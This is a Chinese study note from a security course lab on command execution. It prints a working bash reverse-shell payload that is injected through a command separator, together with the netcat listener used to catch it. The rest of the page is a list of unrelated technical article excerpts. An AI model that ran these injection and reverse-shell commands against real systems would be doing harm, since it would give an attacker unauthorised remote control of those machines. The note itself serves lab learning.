命令执行简单（棱角社区有毒）
前言：小迪安全2022第一节反弹shell，小迪用的是两台都是云服务器，没有服务器可以在自己的主机上搭建也是可以的，主机上搭两个网站
思路：生成一个木马文件，下载到本机，然后利用本机上传到目标主机，执行反弹命令。
但是现在这个可以用bash反弹，在centos里面
正题：
在棱角社区，找到反弹shell
这个是写在被攻击机上的，写了这个就会将目标的控制台，返回到以下 bash -i >& /dev/tcp/127.0.0.1/8080 0>&1（错误）
127.0.0.1 & bash -i >& /dev/tcp/192.168.1.150/9999 0>&1（正确）
然后在攻击机上监听上这个端口，监听本地端口的8080
nc64.exe -lvvp 9999 //注意加地址好像会监听失败
做的过程中的问题
在本地监听9999端口，然后在被攻击机上发送对方的控制台给我的本机，
但是结果失败了。
127.0.0.1 & bash -i >& /dev/tcp/192.168.1.150/9999 0>&1（正确）
bash -i >& /dev/tcp/127.0.0.1/8080 0>&1（错误）
相关文章：
命令执行简单（棱角社区有毒）
前言：小迪安全2022第一节反弹shell，小迪用的是两台都是云服务器，没有服务器可以在自己的主机上搭建也是可以的，主机上搭两个网站 思路：生成一个木马文件，下载到本机，然后利用本机上传到目标主机…...
Keil基于ARM Compiler 5的工程迁移为ARM Compiler 6的工程
环境： keil版本为5.38，版本务必高于5.30 STM32F4的pack包版本要高于2.9 软件包下载地址：https://zhuanlan.zhihu.com/p/262507061 一、更改Keil中编译器 更改后编译，会报很多错，先不管。 二、更改头文件依赖 观察…...
Kafka-创建topic源码
一、命令创建topic kafka-topics --create --topic quickstart-events --bootstrap-server cdh1:9092 --partitions 2 --replication-factor 2 二、kafka-topics脚本 exec $(dirname $0)/kafka-run-class.sh org.apache.kafka.tools.TopicCommand "$" 脚本中指定了…...
【网络安全】(一) 0成本添加访问级监控
互联网的安全感这个概念源于阿里。顾名思义，让互联网的用户对于web产品能够产生足够的信任和依赖。特别是涉及到用户资金交易的站点，一次严重的用户资料泄露就可以彻底毁掉你的品牌。 然而当前阶段除了bat大部分互联网行业的企业对于网络安全给的重视都…...
【Three.js基础学习】26. Animated galaxy
前言 shaders实现星系 课程回顾 使用顶点着色器为每个粒子设置动画 a属性 ， u制服 ，v变化 像素比：window.devicePixelRatio 自动从渲染器检索像素比 renderer.getPixelRatio() 如何尺寸衰减， 放大缩小视角时，粒子都是同…...
vscode使用ssh配置docker容器环境
1 创建容器，并映射主机和容器的指定ssh服务端口 2 进入容器 docker exec -it <容器ID> /bin/bash 3在容器中安装ssh服务 apt-get update apt-get install openssh-server 接着修改ssh文件信息,将容器的10008端口暴露出来允许root用户使用ssh登录 vim /…...
NLP论文速读（EMNLP 2024）|动态奖励与提示优化来帮助语言模型的进行自我对齐
论文速读|Dynamic Rewarding with Prompt Optimization Enables Tuning-free Self-Alignment of Language Models 论文信息： 简介: 本文讨论的背景是大型语言模型（LLMs）的自我对齐问题。传统的LLMs对齐方法依赖于昂贵的训练和人类偏好注释&am…...
【LeetCode】167. 两数之和 II - 输入有序数组
描述 给定一个下标从 1 开始的整数数组numbers，该数组已按非递减顺序排列，请从数组中找出满足相加之和等于目标数target的两个数。如果这两个数分别是numbers[index1]和numbers[index2]，返回整数数组[index1, index2]。 只存在唯一答案&#…...
Getx：GetxController依赖管理02，Binding绑定全局控制器（懒加载Controller）
在使用GetX 状态管理器的时候，如果每个页面都手动实例化一个控制器就太麻烦了， Binding 的作用就是所有需要进行状态管理的控制器进行统一初始化 创建全局控制器Binding import package:get/get.dart; import ../controllers/counter.dart; // 同上一篇内…...
leetcode 找不同
389. 找不同 已解答 简单 相关标签 相关企业 给定两个字符串 s 和 t ，它们只包含小写字母。 字符串 t 由字符串 s 随机重排，然后在随机位置添加一个字母。 请找出在 t 中被添加的字母。 示例 1： 输入：s "abcd"…...
2025 - 生信信息学 - GEO数据分析 - RF分析（随机森林）
GEO数据分析 - RF分析（随机森林） 01 准备数据文件 #install.packages("randomForest")#引用包 library(randomForest) set.seed(123456)inputFile"diffGeneExp.txt" #输入文件 setwd("/Users/wangyang/Desktop/BCBM/02ra…...
Matlab深度学习（四）——AlexNet卷积神经网络
网络搭建参考：手撕 CNN 经典网络之 AlexNet（理论篇）-CSDN博客 在实际工程应用中，构建并训练一个大规模的卷积神经网络是比较复杂的，需要大量的数据以及高性能的硬件。如果通过训练好的典型网络稍加改进…...
etcd defrag
场景 prometheus监控告警，告警信息如下 etcd cluster "kube-etcd": database size in use on instance xx is 33.45% of the actual allocated disk space, please run defragmentation (e.g. etcdctl defrag) to retrieve the unused fragmented disk space.处理…...
golang语言整合jwt+gin框架实现token
1.下载jwt go get -u github.com/dgrijalva/jwt-go2.新建生成token和解析token文件 2.1 新建common文件夹和jwtConfig文件夹 新建jwtconfig.go文件 2.2 jwtconfig.go文件代码 /* Time : 2021/8/2 下午3:03 Author : mrxuexi File : main Software: GoLand */ package jwtC…...
数据治理、数据素养和数据质量管理：文献综述
注意：这并不是正式发表的论文，只是一篇用来交作业的文章 摘要 随着数据时代的到来，数据治理、数据素养和数据质量管理成为组织数据管理中的三大核心概念。本文基于相关研究与实践，对这三个领域进行全面综述，探讨它…...
【Linux】用户和用户组管理
管理用户 1．添加用户账号——useradd命令 【实例2-1-1】 按系统默认配置添加指定用户账号st和stu。 # 添加用户账号st [rootlocalhost ~]# useradd st # 添加用户账号stu [rootlocalhost ~]# useradd stu【实例2-1-2】添加用户账号stu01，UID为1004&am…...
游戏引擎学习第16天
视频参考:https://www.bilibili.com/video/BV1mEUCY8EiC/ 这些字幕讨论了编译器警告的概念以及如何在编译过程中启用和处理警告。以下是字幕的内容摘要： 警告的定义：警告是编译器用来告诉你某些地方可能存在问题，尽管编译器不强制要求你修复…...
如何通过对敏捷实践的调整，帮助远程团队提升研发效能？
首先明确一点，最敏捷的做法就是不要远程团队或分布式团队，远程一定比不上面对面同一地点的模式，毕竟环境不同，就不要期望远程团队和本地团队具备相同的效能，甚至期望更高。 那么，无论何种原因，…...
Ubuntu Linux使用前准备动作 配置SSH
在 Ubuntu 系统中配置 SSH 服务可以通过以下步骤进行： 1、安装ssh服务 1）打开终端（可以使用快捷键 Ctrl Alt T）。 2）运行以下命令安装 OpenSSH 服务器： sudo apt-get update：这一步是更新…...
疫情下的图书馆管理系统：Spring Boot技术
摘要 随着信息技术在管理上越来越深入而广泛的应用，管理信息系统的实施在技术上已逐步成熟。本文介绍了疫情下图书馆管理系统的开发全过程。通过分析疫情下图书馆管理系统管理的不足，创建了一个计算机管理疫情下图书馆管理系统的方案。文章介绍了疫情下图…...
Linux 文件类型，目录与路径，文件与目录管理
文件类型 后面的字符表示文件类型标志 普通文件：-（纯文本文件，二进制文件，数据格式文件） 如文本文件、图片、程序文件等。 目录文件：d（directory） 用来存放其他文件或子目录。 设备…...
前端倒计时误差!
提示：记录工作中遇到的需求及解决办法 文章目录 前言一、误差从何而来？二、五大解决方案1. 动态校准法（基础版）2. Web Worker 计时3. 服务器时间同步4. Performance API 高精度计时5. 页面可见性API优化三、生产环境最佳实践四、终极解决方案架构前言 前几天听说公司某个项…...
线程同步：确保多线程程序的安全与高效！
全文目录： 开篇语前序前言第一部分：线程同步的概念与问题1.1 线程同步的概念1.2 线程同步的问题1.3 线程同步的解决方案 第二部分：synchronized关键字的使用2.1 使用 synchronized修饰方法2.2 使用 synchronized修饰代码块 第三部分ÿ…...
使用van-uploader 的UI组件，结合vue2如何实现图片上传组件的封装
以下是基于 vant-ui（适配 Vue2 版本 ）实现截图中照片上传预览、删除功能，并封装成可复用组件的完整代码，包含样式和逻辑实现，可直接在 Vue2 项目中使用： 1. 封装的图片上传组件 ImageUploader.vue <te…...
如何理解 IP 数据报中的 TTL？
目录 前言理解 前言 面试灵魂一问：说说对 IP 数据报中 TTL 的理解？我们都知道，IP 数据报由首部和数据两部分组成，首部又分为两部分：固定部分和可变部分，共占 20 字节，而即将讨论的 TTL 就位于首…...
Maven 概述、安装、配置、仓库、私服详解
目录 1、Maven 概述 1.1 Maven 的定义 1.2 Maven 解决的问题 1.3 Maven 的核心特性与优势 2、Maven 安装 2.1 下载 Maven 2.2 安装配置 Maven 2.3 测试安装 2.4 修改 Maven 本地仓库的默认路径 3、Maven 配置 3.1 配置本地仓库 3.2 配置 JDK 3.3 IDEA 配置本地 Ma…...
【笔记】WSL 中 Rust 安装与测试完整记录
#工作记录 WSL 中 Rust 安装与测试完整记录 1. 运行环境 系统：Ubuntu 24.04 LTS (WSL2)架构：x86_64 (GNU/Linux)Rust 版本：rustc 1.87.0 (2025-05-09)Cargo 版本：cargo 1.87.0 (2025-05-06) 2. 安装 Rust 2.1 使用 Rust 官方安…...
DingDing机器人群消息推送
文章目录 1 新建机器人2 API文档说明3 代码编写 1 新建机器人 点击群设置 下滑到群管理的机器人，点击进入 添加机器人 选择自定义Webhook服务 点击添加 设置安全设置，详见说明文档 成功后，记录Webhook 2 API文档说明 点击设置说明 查看自…...
Razor编程中@Html的方法使用大全
文章目录 1. 基础HTML辅助方法1.1 Html.ActionLink()1.2 Html.RouteLink()1.3 Html.Display() / Html.DisplayFor()1.4 Html.Editor() / Html.EditorFor()1.5 Html.Label() / Html.LabelFor()1.6 Html.TextBox() / Html.TextBoxFor() 2. 表单相关辅助方法2.1 Html.BeginForm() …...
Golang——6、指针和结构体
指针和结构体 1、指针1.1、指针地址和指针类型1.2、指针取值1.3、new和make 2、结构体2.1、type关键字的使用2.2、结构体的定义和初始化2.3、结构体方法和接收者2.4、给任意类型添加方法2.5、结构体的匿名字段2.6、嵌套结构体2.7、嵌套匿名结构体2.8、结构体的继承 3、结构体与…...